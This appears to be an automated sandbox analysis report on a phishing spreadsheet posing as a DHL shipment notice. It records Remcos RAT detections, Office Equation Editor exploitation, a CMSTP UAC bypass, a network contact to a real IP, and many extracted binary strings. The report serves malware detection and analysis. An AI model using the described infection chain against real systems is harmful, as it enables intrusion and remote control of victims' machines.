            Source: DHL Shipment Notification 490104998009.xlsReversingLabs: Detection: 23%
            Yara detected Remcos RAT
            Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.powershell.exe.44ad080.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.powershell.exe.44ad080.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.970273090.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3680, type: MEMORYSTR
            Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED
            Machine Learning detection for sample
            Source: DHL Shipment Notification 490104998009.xlsJoe Sandbox ML: detected
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,12_2_00433837
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00404423 FreeLibrary,CryptUnprotectData,13_2_00404423
            Source: powershell.exe, 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_2c011306-9

            Exploits

            barindex
            Yara detected UAC Bypass using CMSTP
            Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.powershell.exe.44ad080.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.powershell.exe.44ad080.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3680, type: MEMORYSTR
            Office equation editor establishes network connection
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXENetwork connect: IP: 192.3.176.154 Port: 80Jump to behavior
            Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exeJump to behavior
            Source: ~WRF{800AC807-D585-4EB1-AF32-0CED6CF689EF}.tmp.3.drStream path '_1783483501/\x1CompObj' : ...................F....Microsoft Equation 3.0....
            Source: ~WRF{800AC807-D585-4EB1-AF32-0CED6CF689EF}.tmp.3.drStream path '_1783483505/\x1CompObj' : ...................F....Microsoft Equation 3.0....
            Source: ~WRF{800AC807-D585-4EB1-AF32-0CED6CF689EF}.tmp.3.drStream path '_1783483525/\x1CompObj' : ...................F....Microsoft Equation 3.0....
            Source: ~WRF{800AC807-D585-4EB1-AF32-0CED6CF689EF}.tmp.3.drStream path '_1783483526/\x1CompObj' : ...................F....Microsoft Equation 3.0....
            Source: ~WRF{800AC807-D585-4EB1-AF32-0CED6CF689EF}.tmp.3.drStream path '_1783483529/\x1CompObj' : ...................F....Microsoft Equation 3.0....
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

            Privilege Escalation

            barindex
            Contains functionality to bypass UAC (CMSTPLUA)
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004074FD _wcslen,CoGetObject,12_2_004074FD
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
